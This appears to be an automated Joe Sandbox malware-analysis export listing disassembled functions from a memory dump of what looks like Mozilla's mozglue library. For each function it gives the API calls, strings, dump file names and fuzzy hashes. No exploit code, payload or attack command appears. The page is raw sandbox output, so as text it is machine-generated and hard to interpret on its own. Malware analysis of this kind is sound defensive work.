Opcode Fuzzy Hash: 1a2e8cb9cf27ddba3ff9850d5ea8f42ac157cb57ba38022f73d0dde1cb0f4522
Instruction Fuzzy Hash: B421B378B02228DFDF00DF64CC58AEEB7B5AF85208F144418E806A7741DB71A909C7E5

Function 6C5A74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C5A7526
__Init_thread_footer.LIBCMT ref: 6C5A7566
__Init_thread_footer.LIBCMT ref: 6C5A7597

Strings

kernel32.dll, xrefs: 6C5A7557
UnmapViewOfFile2, xrefs: 6C5A7552

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: cfce7113a6b5f18fbbfa1ee42d3d30ea2e3c8dae400b7614a7b9b2854f6172ad
Instruction ID: 30da7517b6ceb34ab5551859a3fb32f98efac039fd17896ea25560a09ed27deb
Opcode Fuzzy Hash: cfce7113a6b5f18fbbfa1ee42d3d30ea2e3c8dae400b7614a7b9b2854f6172ad
Instruction Fuzzy Hash: 84214931700900EBCA14CFEACC14E9D33F5EB863A4F06462DE80547B40DB30BD5786AA

Function 6C5AA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5CF770,-00000001,?,6C5BE330,?,6C56BDF7), ref: 6C5AA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C56BDF7), ref: 6C5AA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C56BDF7), ref: 6C5AA7E4
LeaveCriticalSection.KERNEL32(6C5CF770), ref: 6C5AA80A

Strings

accelerator.dll, xrefs: 6C5AA7BF

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 8c8ad0996ea5d57c973388bc5087f1beb52124c0f9a60ae6a2cdd21482dfe61b
Instruction ID: e5f615fdc15e7eb0727c1e151cd9f9c3d4ff4890ece8cb8d07df977da4d79af1
Opcode Fuzzy Hash: 8c8ad0996ea5d57c973388bc5087f1beb52124c0f9a60ae6a2cdd21482dfe61b
Instruction Fuzzy Hash: 0A018BB07002049F9B08DF9ADC84C167BF8FF8A314706816EE8098B702DBB0AD10CFA5

Function 6C5A75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C5A748B,?), ref: 6C5A75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C5A75D7
FreeLibrary.KERNEL32(?,6C5A748B,?), ref: 6C5A75EC

Strings

ntdll.dll, xrefs: 6C5A75B3
RtlNtStatusToDosError, xrefs: 6C5A75D1

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 414e500c0ad485c26bf5a815fe2c9dcbfde7bd12db54710231c77e623edf2550
Instruction ID: efc9217360811d8c0b5f674aabfaf13bfb800b8afa38fe6ceb471683326c6142
Opcode Fuzzy Hash: 414e500c0ad485c26bf5a815fe2c9dcbfde7bd12db54710231c77e623edf2550
Instruction Fuzzy Hash: CDE0B6B1740B05ABEF006FE2CC487057AF8EB47658F12622DA905D2601EBB0C26ACF19

Function 6C5A7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C5A7592), ref: 6C5A7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C5A7627
FreeLibrary.KERNEL32(?,6C5A7592), ref: 6C5A763C

Strings

ntdll.dll, xrefs: 6C5A7603
NtUnmapViewOfSection, xrefs: 6C5A7621

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: b78f02870edf6e7c01efc93c68e48c3205547a54353f82430777c7cd6723d7eb
Instruction ID: 19d88c4057fe6a101807645768b1f5edfd4f9e6ad513c5304c0d6dbb4d2ba179
Opcode Fuzzy Hash: b78f02870edf6e7c01efc93c68e48c3205547a54353f82430777c7cd6723d7eb
Instruction Fuzzy Hash: 5EE0B6B1700F05ABDF006FE6CD087097AF8E71A799F02521DEA05D2710E7B082258F5D

Function 6C5ABE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C5ABE49), ref: 6C5ABEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C5ABEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C5ABE49), ref: 6C5ABF38
RtlReAllocateHeap.NTDLL ref: 6C5ABF83
RtlFreeHeap.NTDLL(6C5ABE49,00000000), ref: 6C5ABFA6

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 7549326d9e6ad38824fb00580cd87f7081236c7c21d10106e0b8079b9d0f1eca
Instruction ID: d5f27641104fc3b640b8aff7247785803907866b050229673568eccd09af9fa8
Opcode Fuzzy Hash: 7549326d9e6ad38824fb00580cd87f7081236c7c21d10106e0b8079b9d0f1eca
Instruction Fuzzy Hash: 2E517D71A002098FE714DFAACD80BAEB7A2BFC9314F294639D555A7B54D730F9078B80

Function 6C598E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C58B58D,?,?,?,?,?,?,?,6C5BD734,?,?,?,6C5BD734), ref: 6C598E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C58B58D,?,?,?,?,?,?,?,6C5BD734,?,?,?,6C5BD734), ref: 6C598EBF
free.MOZGLUE(?,?,?,?,6C58B58D,?,?,?,?,?,?,?,6C5BD734,?,?,?), ref: 6C598F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C58B58D,?,?,?,?,?,?,?,6C5BD734,?,?,?,6C5BD734), ref: 6C598F46
free.MOZGLUE(?,?,?,?,6C58B58D,?,?,?,?,?,?,?,6C5BD734,?,?,?), ref: 6C598F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C58B58D,?,?,?,?,?,?,?,6C5BD734,?,?,?), ref: 6C598F8F

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: b659819e3e48538d1ccd95fa69489f915db0866189ebbeba793a897f35b4be99
Instruction ID: 1c11a13df1a5d9e6a5f9a616d84b53416c7108ad9d4518ebcd114aa7717f3d4b
Opcode Fuzzy Hash: b659819e3e48538d1ccd95fa69489f915db0866189ebbeba793a897f35b4be99
Instruction Fuzzy Hash: 4E517EB1A016568FEB14CF64DC8066E73B2BB45318F2505AAD917ABB40E731FA05CB92

Function 6C5927E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C592620,?,?,?,6C5860AA,6C585FCB,6C5879A3), ref: 6C59284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C592620,?,?,?,6C5860AA,6C585FCB,6C5879A3), ref: 6C59289A
free.MOZGLUE(?,?,?,6C592620,?,?,?,6C5860AA,6C585FCB,6C5879A3), ref: 6C5928F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C592620,?,?,?,6C5860AA,6C585FCB,6C5879A3), ref: 6C592910
free.MOZGLUE(00000001,?,?,6C592620,?,?,?,6C5860AA,6C585FCB,6C5879A3), ref: 6C59293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C592620,?,?,?,6C5860AA,6C585FCB,6C5879A3), ref: 6C59294E

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: fa13c431f70ba418bd58c12e22c76a17cce30320aa9e7c5bb2025faa360e4761
Instruction ID: 099d2d76ebe42a37380e26ff10d37eeb3a0eaea551a0953841ad781f440b9dfe
Opcode Fuzzy Hash: fa13c431f70ba418bd58c12e22c76a17cce30320aa9e7c5bb2025faa360e4761
Instruction Fuzzy Hash: B841BDB1A003468FEB14CF68DC8876A73F6AB45308F254979D556EBB40E731E944CBA2

Function 6C54CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5CE784), ref: 6C54CFF6
LeaveCriticalSection.KERNEL32(6C5CE784), ref: 6C54D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C54D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C54D139

Strings

MOZ_CRASH(), xrefs: 6C54D187

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 818316e651db12c8874bc5ceb8506662ee937a63d15d2f5f5d15bde7790314f4
Instruction ID: ba92784a918e2942ca57fb56a5f0575eab44c13d47ac6009019deca406e63f55
Opcode Fuzzy Hash: 818316e651db12c8874bc5ceb8506662ee937a63d15d2f5f5d15bde7790314f4
Instruction Fuzzy Hash: F741CE72B00A568FDB14CEACCC9636A36F4EB49710F16423DE918E7784E7A19D108BD9

Function 6C544DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C544E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C544E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C544EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C544F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C544F1E

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 8da77679daa56eef0eb3286302737e607c60e96928d12b45728f04465ab47844
Instruction ID: 1fd99062f1ac079bfc845385196672c87e93b600fe69c32ac2d92b8f826a0676
Opcode Fuzzy Hash: 8da77679daa56eef0eb3286302737e607c60e96928d12b45728f04465ab47844
Instruction Fuzzy Hash: 0641A971608701AFC705CF69C88095BBBE4BF89344F10CA2DF86A97B41DB30E958CB92

Function 6C551530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C55152B,?,?,?,?,6C551248,?), ref: 6C55159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C55152B,?,?,?,?,6C551248,?), ref: 6C5515BC
moz_xmalloc.MOZGLUE(-00000001,?,6C55152B,?,?,?,?,6C551248,?), ref: 6C5515E7
free.MOZGLUE(?,?,?,?,?,?,6C55152B,?,?,?,?,6C551248,?), ref: 6C551606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C55152B,?,?,?,?,6C551248,?), ref: 6C551637

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 43d80023a38d4712f7eea00b1150e36000bf37150d6b739129033360ecb4a4bf
Instruction ID: 782c3e700d2daf46b44d4cc7bef12cc6a342b1f698429d2e977ec7ca0a979417
Opcode Fuzzy Hash: 43d80023a38d4712f7eea00b1150e36000bf37150d6b739129033360ecb4a4bf
Instruction Fuzzy Hash: 7A31D8719001148BCB14DE78DC5046F7BA9EB853647A50B6EE423DBFD5FB30E9248791

Function 6C5AAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C5BE330,?,6C56C059), ref: 6C5AAD9D

Part of subcall function 6C55CA10: malloc.MOZGLUE(?), ref: 6C55CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C5BE330,?,6C56C059), ref: 6C5AADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C5BE330,?,6C56C059), ref: 6C5AAE01
GetLastError.KERNEL32(?,00000000,?,?,6C5BE330,?,6C56C059), ref: 6C5AAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C5BE330,?,6C56C059), ref: 6C5AAE3D

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 05477a0783b807030ca6d72a2f284d0ca76b8a6848caf30bcc36f4346b36bafe
Instruction ID: 561b60a80be2884d9e77c9c0aaff4250cc0907a721884f1903d0e0a85edfee5e
Opcode Fuzzy Hash: 05477a0783b807030ca6d72a2f284d0ca76b8a6848caf30bcc36f4346b36bafe
Instruction Fuzzy Hash: AE3121B1A002159FDB10DF768C44AABBBF8EF89614F55482DE84AE7700E734ED05CBA4

Function 6C5A5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C5BDCA0,?,?,?,6C57E8B5,00000000), ref: 6C5A5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C57E8B5,00000000), ref: 6C5A5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C57E8B5,00000000), ref: 6C5A5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C57E8B5,00000000), ref: 6C5A5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C57E8B5,00000000), ref: 6C5A5FD6

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 06f2594b434e11e3c9a3ddc985866cad44db142ebe59753e0454a22dfd772f2f
Instruction ID: e23f700cb195fcbca65c799796252b78fa9a4b4fea6f2a0568d1757536993842
Opcode Fuzzy Hash: 06f2594b434e11e3c9a3ddc985866cad44db142ebe59753e0454a22dfd772f2f
Instruction Fuzzy Hash: B1313A74300A008FD710DF6AC898E2AB7F9FF89319BA58558E5568BB95C731EC42CB80

Function 6C54B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C54B532
moz_xmalloc.MOZGLUE(?), ref: 6C54B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C54B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C54B57E
free.MOZGLUE(00000000), ref: 6C54B58F

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 9f29dc8be89b6613c96b7957e566844a1f74bcede954c3c6290ee0c246a7e7d0
Instruction ID: bede207b83afbef5f86513dd10b436c3b39568a94b0e653f0cdea5df6577d222
Opcode Fuzzy Hash: 9f29dc8be89b6613c96b7957e566844a1f74bcede954c3c6290ee0c246a7e7d0
Instruction Fuzzy Hash: F821E471A006059BDB00AF68CC40BAEFBB9FF85304F288129E818DB342F735D911D7A1

Function 6C54B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C54B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C54B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C54B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C54B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C54B849

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: a4b103872895843d92b07688dc7de7137d1191eb1c7a151b0ce0d3ad6784b6a7
Instruction ID: 425ca9afb07de9512ed451122427346d7fd007650b807fc196f3326a029d4f0e
Opcode Fuzzy Hash: a4b103872895843d92b07688dc7de7137d1191eb1c7a151b0ce0d3ad6784b6a7
Instruction Fuzzy Hash: F2212AB0E002099FDF04DFA9C8855FEBBB4EF49314F148129EC45A7341E731AA44CBA1

Function 6C5A6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C5A6E78

Part of subcall function 6C5A6A10: InitializeCriticalSection.KERNEL32(6C5CF618), ref: 6C5A6A68
Part of subcall function 6C5A6A10: GetCurrentProcess.KERNEL32 ref: 6C5A6A7D
Part of subcall function 6C5A6A10: GetCurrentProcess.KERNEL32 ref: 6C5A6AA1
Part of subcall function 6C5A6A10: EnterCriticalSection.KERNEL32(6C5CF618), ref: 6C5A6AAE
Part of subcall function 6C5A6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C5A6AE1
Part of subcall function 6C5A6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C5A6B15
Part of subcall function 6C5A6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C5A6B65
Part of subcall function 6C5A6A10: LeaveCriticalSection.KERNEL32(6C5CF618,?,?), ref: 6C5A6B83

MozFormatCodeAddress.MOZGLUE ref: 6C5A6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C5A6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C5A6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C5A6EFF

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 3c6cc56739fb4b96fd584a12881d97b80ea83424d5c9d78d4fc7403832eaa158
Instruction ID: 68bcf1bba7ce4ed38944e02669db67375cd30c2a61dd3d710663ec55f29e6be7
Opcode Fuzzy Hash: 3c6cc56739fb4b96fd584a12881d97b80ea83424d5c9d78d4fc7403832eaa158
Instruction Fuzzy Hash: 4721B071A0431A9FCB00DF69DC85A9E77F8EF88308F044039E80997340EB709A49CF92

Function 6C580D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C543DEF), ref: 6C580D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C543DEF), ref: 6C580D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C543DEF), ref: 6C580DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C580D97, 6C580DBE
<jemalloc>, xrefs: 6C580D92, 6C580DB9

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

